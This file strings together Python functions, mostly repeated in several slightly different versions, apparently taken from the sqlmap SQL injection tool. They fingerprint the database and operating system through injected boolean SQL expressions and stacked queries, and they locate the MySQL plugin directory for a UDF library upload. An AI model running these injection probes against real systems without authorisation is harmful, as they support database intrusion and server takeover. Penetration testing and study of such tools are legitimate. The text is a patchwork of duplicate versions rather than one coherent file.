def checkDbms(self):
if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \
or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \
Backend.getVersion().isdigit():
setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion()))
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
infoMsg = "testing %s" % DBMS.SYBASE
logger.info(infoMsg)
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression("@@transtate=@@transtate")
if result:
infoMsg = "confirming %s" % DBMS.SYBASE
logger.info(infoMsg)
result = inject.checkBooleanExpression("suser_id()=suser_id()")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
setDbms(DBMS.SYBASE)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
logger.info(infoMsg)
result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)"))
if result and result.isdigit():
Backend.setVersion(str(result))
else:
for version in xrange(12, 16):
result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version)
if result:
Backend.setVersion(str(version))
break
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
def checkDbms(self):
if not conf.extensiveFp and Backend.isDbmsWithin(SYBASE_ALIASES):
setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion()))
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
infoMsg = "testing %s" % DBMS.SYBASE
logger.info(infoMsg)
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression("@@transtate=@@transtate")
if result:
infoMsg = "confirming %s" % DBMS.SYBASE
logger.info(infoMsg)
result = inject.checkBooleanExpression("suser_id()=suser_id()")
if not result:
warnMsg = "后端DBMS不是%s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
setDbms(DBMS.SYBASE)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
logger.info(infoMsg)
result = unArrayizeValue(
inject.getValue("SUBSTRING(@@VERSION,1,1)"))
if result and result.isdigit():
Backend.setVersion(str(result))
else:
for version in xrange(12, 16):
result = inject.checkBooleanExpression(
"PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version)
if result:
Backend.setVersion(str(version))
break
return True
else:
warnMsg = "后端DBMS不是%s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField,
"character(10000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" %
(self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw'
# patterns within the banner
osWindows = (" Visual C++", "mingw")
for osPattern in osWindows:
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (
self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%" + osPattern + "%')>0"
if inject.checkBooleanExpression(query):
Backend.setOs(OS.WINDOWS)
break
if Backend.getOs() is None:
Backend.setOs(OS.LINUX)
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def getRemoteTempPath(self):
if not conf.tmpPath:
if Backend.isOs(OS.WINDOWS):
if conf.direct:
conf.tmpPath = "%TEMP%"
else:
self.checkDbmsOs(detailed=True)
if Backend.getOsVersion() in ("2000", "NT"):
conf.tmpPath = "C:/WINNT/Temp"
elif Backend.isOs("XP"):
conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
else:
conf.tmpPath = "C:/Windows/Temp"
else:
conf.tmpPath = "/tmp"
if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I):
Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath)
conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
return conf.tmpPath
def _resumeOS():
"""
Resume stored OS information from HashDB
"""
value = hashDBRetrieve(HASHDB_KEYS.OS)
if not value:
return
os = value
if os and os != 'None':
infoMsg = "resuming back-end DBMS operating system '%s' " % os
logger.info(infoMsg)
if conf.os and conf.os.lower() != os.lower():
message = "you provided '%s' as back-end DBMS operating " % conf.os
message += "system, but from a past scan information on the "
message += "target URL sqlmap assumes the back-end DBMS "
message += "operating system is %s. " % os
message += "Do you really want to force the back-end DBMS "
message += "OS value? [y/N] "
test = readInput(message, default="N")
if not test or test[0] in ("n", "N"):
conf.os = os
else:
conf.os = os
Backend.setOs(conf.os)
def getRemoteTempPath(self):
if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL):
_ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False))
if _:
conf.tmpPath = ntpath.dirname(_)
if not conf.tmpPath:
if Backend.isOs(OS.WINDOWS):
if conf.direct:
conf.tmpPath = "%TEMP%"
else:
self.checkDbmsOs(detailed=True)
if Backend.getOsVersion() in ("2000", "NT"):
conf.tmpPath = "C:/WINNT/Temp"
elif Backend.isOs("XP"):
conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
else:
conf.tmpPath = "C:/Windows/Temp"
else:
conf.tmpPath = "/tmp"
if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I):
Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath)
conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
return conf.tmpPath
def _resumeOS():
"""
Resume stored OS information from HashDB
"""
value = hashDBRetrieve(HASHDB_KEYS.OS)
if not value:
return
os = value
if os and os != 'None':
infoMsg = "resuming back-end DBMS operating system '%s' " % os
logger.info(infoMsg)
if conf.os and conf.os.lower() != os.lower():
message = "you provided '%s' as back-end DBMS operating " % conf.os
message += "system, but from a past scan information on the "
message += "target URL sqlmap assumes the back-end DBMS "
message += "operating system is %s. " % os
message += "Do you really want to force the back-end DBMS "
message += "OS value? [y/N] "
if not readInput(message, default='N', boolean=True):
conf.os = os
else:
conf.os = os
Backend.setOs(conf.os)
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw'
# patterns within the banner
osWindows = (" Visual C++", "mingw")
for osPattern in osWindows:
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%" + osPattern + "%')>0"
if inject.checkBooleanExpression(query):
Backend.setOs(OS.WINDOWS)
break
if Backend.getOs() is None:
Backend.setOs(OS.LINUX)
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def getRemoteTempPath(self):
if not conf.tmpPath:
if Backend.isOs(OS.WINDOWS):
if conf.direct:
conf.tmpPath = "%TEMP%"
else:
self.checkDbmsOs(detailed=True)
if Backend.getOsVersion() in ("2000", "NT"):
conf.tmpPath = "C:/WINNT/Temp"
elif Backend.isOs("XP"):
conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
else:
conf.tmpPath = "C:/Windows/Temp"
else:
conf.tmpPath = "/tmp"
if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I):
Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath)
conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
return conf.tmpPath
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
return
infoMsg = "fingerprinting the back-end DBMS operating system "
infoMsg += "version and service pack"
logger.info(infoMsg)
query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0"
result = inject.checkBooleanExpression(query)
if not result:
Backend.setOs(OS.LINUX)
else:
Backend.setOs(OS.WINDOWS)
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
if result:
versions = {
"2003": ("5.2", (2, 1)),
"2008": ("7.0", (1,)),
"2000": ("5.0", (4, 3, 2, 1)),
"7": ("6.1", (1, 0)),
"XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1))
}
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[0]
result = inject.checkBooleanExpression(query)
if result:
Backend.setOsVersion(version)
infoMsg += " %s" % Backend.getOsVersion()
break
if not Backend.getOsVersion():
return
# Get back-end DBMS underlying operating system service pack
for sp in versions[Backend.getOsVersion()][1]:
query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str(sp) + "%')>0"
result = inject.checkBooleanExpression(query)
if result:
Backend.setOsServicePack(sp)
break
if not Backend.getOsServicePack():
Backend.setOsServicePack(0)
debugMsg = "assuming the operating system has no service pack"
logger.debug(debugMsg)
if Backend.getOsVersion():
infoMsg += " Service Pack %d" % Backend.getOsServicePack()
logger.info(infoMsg)
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
return
infoMsg = "fingerprinting the back-end DBMS operating system "
infoMsg += "version and service pack"
logger.info(infoMsg)
query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0"
result = inject.checkBooleanExpression(query)
if not result:
Backend.setOs(OS.LINUX)
else:
Backend.setOs(OS.WINDOWS)
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
if result:
versions = {
"2003": ("5.2", (2, 1)),
"2008": ("7.0", (1,)),
"2000": ("5.0", (4, 3, 2, 1)),
"7": ("6.1", (1, 0)),
"XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1))
}
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[0]
result = inject.checkBooleanExpression(query)
if result:
Backend.setOsVersion(version)
infoMsg += " %s" % Backend.getOsVersion()
break
if not Backend.getOsVersion():
return
# Get back-end DBMS underlying operating system service pack
for sp in versions[Backend.getOsVersion()][1]:
query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str(sp) + "%')>0"
result = inject.checkBooleanExpression(query)
if result:
Backend.setOsServicePack(sp)
break
if not Backend.getOsServicePack():
Backend.setOsServicePack(0)
debugMsg = "assuming the operating system has no service pack"
logger.debug(debugMsg)
if Backend.getOsVersion():
infoMsg += " Service Pack %d" % Backend.getOsServicePack()
logger.info(infoMsg)
def checkDbms(self):
if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES):
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
infoMsg = "testing %s" % DBMS.MSSQL
logger.info(infoMsg)
# NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
# work connecting directly to the Microsoft SQL Server database
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression(
"UNICODE(SQUARE(NULL)) IS NULL")
if result:
infoMsg = "confirming %s" % DBMS.MSSQL
logger.info(infoMsg)
for version, check in (
("2019", "CHARINDEX('15.0.',@@VERSION)>0"),
("Azure", "@@VERSION LIKE '%Azure%'"),
("2017", "TRIM(NULL) IS NULL"),
("2016", "ISJSON(NULL) IS NULL"),
("2014", "CHARINDEX('12.0.',@@VERSION)>0"),
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
("2008", "SYSDATETIME()=SYSDATETIME()"),
("2005", "XACT_STATE()=XACT_STATE()"),
("2000", "HOST_NAME()=HOST_NAME()"),
):
result = inject.checkBooleanExpression(check)
if result:
Backend.setVersion(version)
break
if Backend.getVersion():
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
else:
setDbms(DBMS.MSSQL)
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
logger.warn(warnMsg)
return False
def checkDbms(self):
if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \
or conf.dbms in SYBASE_ALIASES) and Backend.getVersion() and \
Backend.getVersion().isdigit():
setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion()))
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
infoMsg = "testing %s" % DBMS.SYBASE
logger.info(infoMsg)
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()")
if result:
infoMsg = "confirming %s" % DBMS.SYBASE
logger.info(infoMsg)
result = inject.checkBooleanExpression("suser_id()=suser_id()")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
setDbms(DBMS.SYBASE)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
logger.info(infoMsg)
for version in xrange(12, 16):
result = inject.checkBooleanExpression(
"@@VERSION_NUMBER/1000=%d" % version)
if result:
Backend.setVersion(str(version))
break
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
def checkDbms(self):
if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \
or conf.dbms in SYBASE_ALIASES) and Backend.getVersion() and \
Backend.getVersion().isdigit():
setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion()))
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
infoMsg = "testing %s" % DBMS.SYBASE
logger.info(infoMsg)
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()")
if result:
infoMsg = "confirming %s" % DBMS.SYBASE
logger.info(infoMsg)
result = inject.checkBooleanExpression("suser_id()=suser_id()")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
setDbms(DBMS.SYBASE)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
logger.info(infoMsg)
for version in xrange(12, 16):
result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version)
if result:
Backend.setVersion(str(version))
break
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
def udfSetRemotePath(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if distutils.version.LooseVersion(
banVer) >= distutils.version.LooseVersion("5.0.67"):
if self.__plugindir is None:
logger.info("retrieving MySQL plugin directory absolute path")
self.__plugindir = unArrayizeValue(
inject.getValue("SELECT @@plugin_dir"))
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if self.__plugindir is None and distutils.version.LooseVersion(
banVer) >= distutils.version.LooseVersion("5.1.19"):
logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = unArrayizeValue(
inject.getValue("SELECT @@basedir"))
if isWindowsDriveLetterPath(self.__basedir or ""):
Backend.setOs(OS.WINDOWS)
else:
Backend.setOs(OS.LINUX)
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
if Backend.isOs(OS.WINDOWS):
self.__plugindir = "%s/lib/plugin" % self.__basedir
else:
self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir
self.__plugindir = ntToPosixSlashes(normalizePath(
self.__plugindir)) or '.'
self.udfRemoteFile = "%s/%s.%s" % (
self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
# logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
# self.__datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
self.__datadir = '.'
self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir))
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
self.udfRemoteFile = "%s/%s.%s" % (
self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
def checkDbms(self):
if (
not conf.extensiveFp
and (Backend.isDbmsWithin(MSSQL_ALIASES) or conf.dbms in MSSQL_ALIASES)
and Backend.getVersion()
and Backend.getVersion().isdigit()
):
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
infoMsg = "testing %s" % DBMS.MSSQL
logger.info(infoMsg)
# NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
# work connecting directly to the Microsoft SQL Server database
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])")
if result:
infoMsg = "confirming %s" % DBMS.MSSQL
logger.info(infoMsg)
for version, check in (
("2000", "HOST_NAME()=HOST_NAME()"),
("2005", "XACT_STATE()=XACT_STATE()"),
("2008", "SYSDATETIME()=SYSDATETIME()"),
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
):
result = inject.checkBooleanExpression(check)
if result:
Backend.setVersion(version)
if Backend.getVersion():
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
else:
setDbms(DBMS.MSSQL)
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
logger.warn(warnMsg)
return False
def checkDbms(self):
if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \
or (conf.dbms or "").lower() in MSSQL_ALIASES) and Backend.getVersion() and \
Backend.getVersion().isdigit():
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
infoMsg = "testing %s" % DBMS.MSSQL
logger.info(infoMsg)
# NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
# work connecting directly to the Microsoft SQL Server database
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression(
"SQUARE([RANDNUM])=SQUARE([RANDNUM])")
if result:
infoMsg = "confirming %s" % DBMS.MSSQL
logger.info(infoMsg)
for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \
("2005", "XACT_STATE()=XACT_STATE()"), \
("2008", "SYSDATETIME()=SYSDATETIME()"), \
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), \
("2014", "CHARINDEX('12.0.2000',@@version)>0"), \
("2016", "ISJSON(NULL) IS NULL")):
result = inject.checkBooleanExpression(check)
if result:
Backend.setVersion(version)
if Backend.getVersion():
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
else:
setDbms(DBMS.MSSQL)
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
logger.warn(warnMsg)
return False
def checkDbms(self):
if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \
or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \
Backend.getVersion().isdigit():
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
infoMsg = "testing %s" % DBMS.MSSQL
logger.info(infoMsg)
# NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
# work connecting directly to the Microsoft SQL Server database
if conf.direct:
result = True
else:
randInt = randomInt()
result = inject.checkBooleanExpression(
"BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt))
if result:
infoMsg = "confirming %s" % DBMS.MSSQL
logger.info(infoMsg)
for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \
("2005", "XACT_STATE()=XACT_STATE()"), \
("2008", "SYSDATETIME()=SYSDATETIME()")):
result = inject.checkBooleanExpression(check)
if result:
Backend.setVersion(version)
if Backend.getVersion():
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
else:
setDbms(DBMS.MSSQL)
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
logger.warn(warnMsg)
return False
def checkDbms(self):
if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \
or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \
Backend.getVersion().isdigit():
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
infoMsg = "testing %s" % DBMS.MSSQL
logger.info(infoMsg)
# NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
# work connecting directly to the Microsoft SQL Server database
if conf.direct:
result = True
else:
randInt = randomInt()
result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt))
if result:
infoMsg = "confirming %s" % DBMS.MSSQL
logger.info(infoMsg)
for version, check in [ ("2000", "HOST_NAME()=HOST_NAME()"), \
("2005", "XACT_STATE()=XACT_STATE()"), \
("2008", "SYSDATETIME()=SYSDATETIME()") ]:
result = inject.checkBooleanExpression(check)
if result:
Backend.setVersion(version)
if Backend.getVersion():
setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion()))
else:
setDbms(DBMS.MSSQL)
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
logger.warn(warnMsg)
return False
def getRemoteTempPath(self):
if not conf.tmpPath:
if Backend.isOs(OS.WINDOWS):
conf.tmpPath = "C:/WINDOWS/Temp"
else:
conf.tmpPath = "/tmp"
if getCompiledRegex("(?i)\A[\w]:[\/\\\\]+").search(conf.tmpPath):
Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath)
conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
setRemoteTempPath()
def udfSetRemotePath(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "5.0.67":
if self.__plugindir is None:
logger.info("retrieving MySQL plugin directory absolute path")
self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir"))
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if self.__plugindir is None and banVer >= "5.1.19":
logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir"))
if isWindowsDriveLetterPath(self.__basedir or ""):
Backend.setOs(OS.WINDOWS)
else:
Backend.setOs(OS.LINUX)
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
if Backend.isOs(OS.WINDOWS):
self.__plugindir = "%s/lib/plugin" % self.__basedir
else:
self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir
self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.'
self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
#logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#self.__datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
self.__datadir = '.'
self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir))
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
def setOs():
"""
Example of kb.bannerFp dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
"""
infoMsg = ""
condition = (
not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("OS") )
)
if not kb.bannerFp:
return
if "type" in kb.bannerFp:
Backend.setOs(Format.humanize(kb.bannerFp["type"]))
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
if "distrib" in kb.bannerFp:
kb.osVersion = Format.humanize(kb.bannerFp["distrib"])
infoMsg += " %s" % kb.osVersion
if "sp" in kb.bannerFp:
kb.osSP = int(Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", ""))
elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS):
kb.osSP = 0
if Backend.getOs() and kb.osVersion and kb.osSP:
infoMsg += " Service Pack %d" % kb.osSP
if infoMsg:
logger.info(infoMsg)
if condition:
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), Backend.getOs()))
def userChooseDbmsOs(self):
warnMsg = "for some reason sqlmap was unable to fingerprint "
warnMsg += "the back-end DBMS operating system"
logger.warn(warnMsg)
msg = "do you want to provide the OS? [(W)indows/(l)inux]"
while True:
os = readInput(msg, default='W').upper()
if os == 'W':
Backend.setOs(OS.WINDOWS)
break
elif os == 'L':
Backend.setOs(OS.LINUX)
break
else:
warnMsg = "invalid value"
logger.warn(warnMsg)
def userChooseDbmsOs(self):
warnMsg = "for some reason sqlmap was unable to fingerprint "
warnMsg += "the back-end DBMS operating system"
logger.warn(warnMsg)
msg = "do you want to provide the OS? [(W)indows/(l)inux]"
while True:
os = readInput(msg, default="W")
if os[0].lower() == "w":
Backend.setOs(OS.WINDOWS)
break
elif os[0].lower() == "l":
Backend.setOs(OS.LINUX)
break
else:
warnMsg = "invalid value"
logger.warn(warnMsg)
def getRemoteTempPath(self):
if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL):
debugMsg = "identifying Microsoft SQL Server error log directory "
debugMsg += "that sqlmap will use to store temporary files with "
debugMsg += "commands' output"
logger.debug(debugMsg)
_ = unArrayizeValue(
inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')",
safeCharEncode=False))
if _:
conf.tmpPath = ntpath.dirname(_)
if not conf.tmpPath:
if Backend.isOs(OS.WINDOWS):
if conf.direct:
conf.tmpPath = "%TEMP%"
else:
self.checkDbmsOs(detailed=True)
if Backend.getOsVersion() in ("2000", "NT"):
conf.tmpPath = "C:/WINNT/Temp"
elif Backend.isOs("XP"):
conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
else:
conf.tmpPath = "C:/Windows/Temp"
else:
conf.tmpPath = "/tmp"
if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I):
Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath)
conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
singleTimeDebugMessage(
"going to use '%s' as temporary files directory" % conf.tmpPath)
hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
return conf.tmpPath
def setOs():
"""
Example of kb.bannerFp dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
"""
infoMsg = ""
if not kb.bannerFp:
return
if "type" in kb.bannerFp:
Backend.setOs(Format.humanize(kb.bannerFp["type"]))
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
if "distrib" in kb.bannerFp:
kb.osVersion = Format.humanize(kb.bannerFp["distrib"])
infoMsg += " %s" % kb.osVersion
if "sp" in kb.bannerFp:
kb.osSP = int(
Format.humanize(kb.bannerFp["sp"]).replace("Service Pack ", ""))
elif "sp" not in kb.bannerFp and Backend.isOs(OS.WINDOWS):
kb.osSP = 0
if Backend.getOs() and kb.osVersion and kb.osSP:
infoMsg += " Service Pack %d" % kb.osSP
if infoMsg:
logger.info(infoMsg)
hashDBWrite(HASHDB_KEYS.OS, Backend.getOs())
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))")
if result:
Backend.setOs(OS.WINDOWS)
elif not result:
Backend.setOs(OS.LINUX)
if Backend.getOs():
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
else:
self.userChooseDbmsOs()
self.cleanup(onlyFileTbl=True)
